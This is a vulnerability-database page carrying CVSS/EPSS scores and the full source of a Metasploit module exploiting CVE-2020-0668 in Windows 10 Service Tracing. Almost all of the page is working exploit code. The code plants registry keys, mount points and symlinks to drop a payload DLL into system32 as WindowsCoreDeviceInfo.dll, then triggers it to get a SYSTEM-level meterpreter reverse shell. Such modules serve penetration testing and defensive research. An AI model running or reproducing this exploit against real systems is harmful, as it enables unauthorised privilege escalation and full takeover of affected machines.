7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.006 Low
EPSS
Percentile
77.8%
This module leverages a trusted file overwrite with a DLL hijacking vulnerability to gain SYSTEM-level access on vulnerable Windows 10 x64 targets.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
include Msf::Post::Windows::FileSystem
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Exploit::FileDropper
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Service Tracing Privilege Elevation Vulnerability',
'Description' => %q{
This module leverages a trusted file overwrite with a DLL hijacking
vulnerability to gain SYSTEM-level access on vulnerable Windows 10 x64
targets.
},
'License' => MSF_LICENSE,
'Author' => [
'itm4n', # PoC
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-02-11',
'References' => [
['CVE', '2020-0668'],
['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'],
['URL', 'https://github.com/itm4n/SysTracingPoc'],
['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'],
['PACKETSTORM', '156576'],
['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'],
['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html']
],
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DefaultOptions' => {
'DisablePayloadHandler' => false,
'EXITFUNC' => 'thread',
'Payload' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 900
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
stdapi_fs_md5
stdapi_railgun_api
stdapi_sys_config_getenv
]
}
}
)
)
register_options([
OptString.new('EXPLOIT_DIR',
[false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]),
OptBool.new('OVERWRITE_DLL',
[true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]),
OptString.new('PAYLOAD_UPLOAD_NAME',
[false, 'The filename to use for the payload binary (%RAND% by default).', nil]),
OptString.new('PHONEBOOK_UPLOAD_NAME',
[false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil])
])
end
def write_reg_value(registry_hash)
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
begin
if !registry_key_exist?(registry_hash[:key_name])
registry_createkey(registry_hash[:key_name])
registry_hash[:delete_on_cleanup] = true
else
registry_hash[:delete_on_cleanup] = false
end
registry_setvaldata(registry_hash[:key_name].strip, \
registry_hash[:value_name].strip, \
registry_hash[:value_value], \
registry_hash[:value_type])
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.to_s)
end
end
def remove_reg_value(registry_hash)
# we may have already deleted the key
return unless registry_key_exist?(registry_hash[:key_name])
begin
if registry_hash[:delete_on_cleanup]
vprint_status("Deleting #{registry_hash[:key_name]} key")
registry_deletekey(registry_hash[:key_name])
else
vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
end
rescue Rex::Post::Meterpreter::RequestError => e
print_bad('Unable to clean up registry')
print_error(e.to_s)
end
end
def create_reg_hash(new_size, exploit_dir)
reg_keys = []
reg_keys.push(key_name: 'HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI',
value_name: 'EnableFileTracing',
value_type: 'REG_DWORD',
value_value: 1,
delete_on_cleanup: false)
reg_keys.push(key_name: 'HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI',
value_name: 'FileDirectory',
value_type: 'REG_EXPAND_SZ',
value_value: exploit_dir,
delete_on_cleanup: false)
reg_keys.push(key_name: 'HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI',
value_name: 'MaxFileSize',
value_type: 'REG_DWORD',
value_value: new_size,
delete_on_cleanup: false)
reg_keys
end
def remove_file(file_pathname)
vprint_status("Deleting #{file_pathname}")
begin
session.fs.file.rm(file_pathname)
rescue Rex::Post::Meterpreter::RequestError
print_error("Manual cleanup of \"#{file_pathname}\" required!")
end
end
def launch_dll_trigger
print_status('Triggering the Reflective DLL injection and running the LPE DLL...')
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll'),
encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error(e.message)
end
def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname)
handles = [] # stores open handles to cleanup properly
reg_hash = create_reg_hash(file_contents.length - 1, exploit_dir)
vprint_status("Registry hash = #{reg_hash}")
# set up directories and mountpoints
vprint_status("Making #{exploit_dir} on #{sysinfo['Computer']}")
mkdir(exploit_dir)
vprint_status("Made #{exploit_dir}")
register_file_for_cleanup(upload_payload_pathname)
mount_dir = '\\RPC Control\\'
# Create mountpoint
print_status('Creating mountpoint')
mount_point_handle = create_mount_point(exploit_dir, mount_dir)
unless mount_point_handle
fail_with(Failure::Unknown, 'Error when creating the mount point... aborting.')
end
# Upload payload
print_status("Uploading payload to #{upload_payload_pathname}")
write_file(upload_payload_pathname, file_contents)
register_file_for_cleanup(upload_payload_pathname)
upload_md5 = session.fs.file.md5(upload_payload_pathname)
vprint_status("Payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")
# Create Symlinks
print_status('Creating Symlinks')
vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG")
symlink_handle = create_object_symlink(nil, '\\RPC Control\\RASTAPI.LOG', "\\??\\#{upload_payload_pathname}")
unless symlink_handle
fail_with(Failure::Unknown, 'Error when creating the RASTAPI.LOG symlink... aborting.')
end
vprint_status("Collected Symlink Handle #{symlink_handle}")
handles.push(symlink_handle)
vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD")
symlink_handle = create_object_symlink(nil, '\\RPC Control\\RASTAPI.OLD', "\\??\\#{target_payload_pathname}")
unless symlink_handle
fail_with(Failure::Unknown, 'Error when creating the RASTAPI.OLD symlink... aborting.')
end
vprint_status("Collected Symlink Handle #{symlink_handle}")
handles.push(symlink_handle)
# write registry keys
reg_hash.each do |entry|
write_reg_value(entry)
end
# Upload phonebook file
phonebook_name = datastore['PHONEBOOK_NAME'] || "#{Rex::Text.rand_text_alpha(6..13)}.pbk"
upload_phonebook_pathname = "#{session.sys.config.getenv('TEMP')}\\#{phonebook_name}"
launch_rasdialer(upload_phonebook_pathname)
register_file_for_cleanup(upload_phonebook_pathname)
vprint_status("Checking on #{target_payload_pathname}")
vprint_status("Upload payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")
moved_md5 = session.fs.file.md5(target_payload_pathname)
vprint_status("Moved payload md5 = #{Rex::Text.to_hex(moved_md5, '')}")
# clean up after file move
print_status('Cleaning up before triggering dll load...')
print_status('Removing Registry keys')
reg_hash.each do |entry|
remove_reg_value(entry)
end
print_status('Removing Symlinks')
handles.each do |handle|
result = session.railgun.kernel32.CloseHandle(handle)
vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}")
end
print_status('Removing Mountpoint')
delete_mount_point(exploit_dir, mount_point_handle)
print_status('Removing directories')
unless moved_md5 == upload_md5
fail_with(Failure::Unknown, 'Payload hashes do not match; filecopy failed.')
end
end
def exploit
validate_target
validate_active_host
# dll should not already exist
win_dir = session.sys.config.getenv('windir')
target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"
if file?(target_payload_pathname)
print_warning("#{target_payload_pathname} already exists")
print_warning('If it is in use, the overwrite will fail')
unless datastore['OVERWRITE_DLL']
print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")
end
end
# set up variables
temp_dir = session.sys.config.getenv('TEMP')
exploit_dir = datastore['EXPLOIT_DIR'] || "#{temp_dir}\\#{Rex::Text.rand_text_alpha(6..13)}"
upload_payload_pathname = "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"
payload_dll = generate_payload_dll
print_status("Payload DLL is #{payload_dll.length} bytes long")
# start file copy
rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname)
# launch trigger
launch_dll_trigger
print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}")
print_status('Exploit complete. It may take up to 10 minutes to get a session')
end
def validate_active_host
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
def validate_target
unless sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
if session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
end
version_info = get_version_info
vprint_status("Version: #{version_info.number}")
unless version_info.build_version.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1909)
fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363')
end
end
def launch_rasdialer(upload_phonebook_pathname)
local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt')
ensure_clean_destination(upload_phonebook_pathname)
vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}")
begin
upload_file(upload_phonebook_pathname, local_phonebook_path)
rescue Rex::Post::Meterpreter::RequestError
print_error('Failed to upload phonebook')
return nil
end
print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}")
# Launch RASDIAL
vprint_status('Launching Rasdialer')
rasdial_cmd = "rasdial VPNTEST test test /PHONEBOOK:#{upload_phonebook_pathname}"
print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}")
output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60)
vprint_status(output)
end
def ensure_clean_destination(path)
return unless file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error("Unable to delete #{path}")
end
end
end
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.006 Low
EPSS
Percentile
77.8%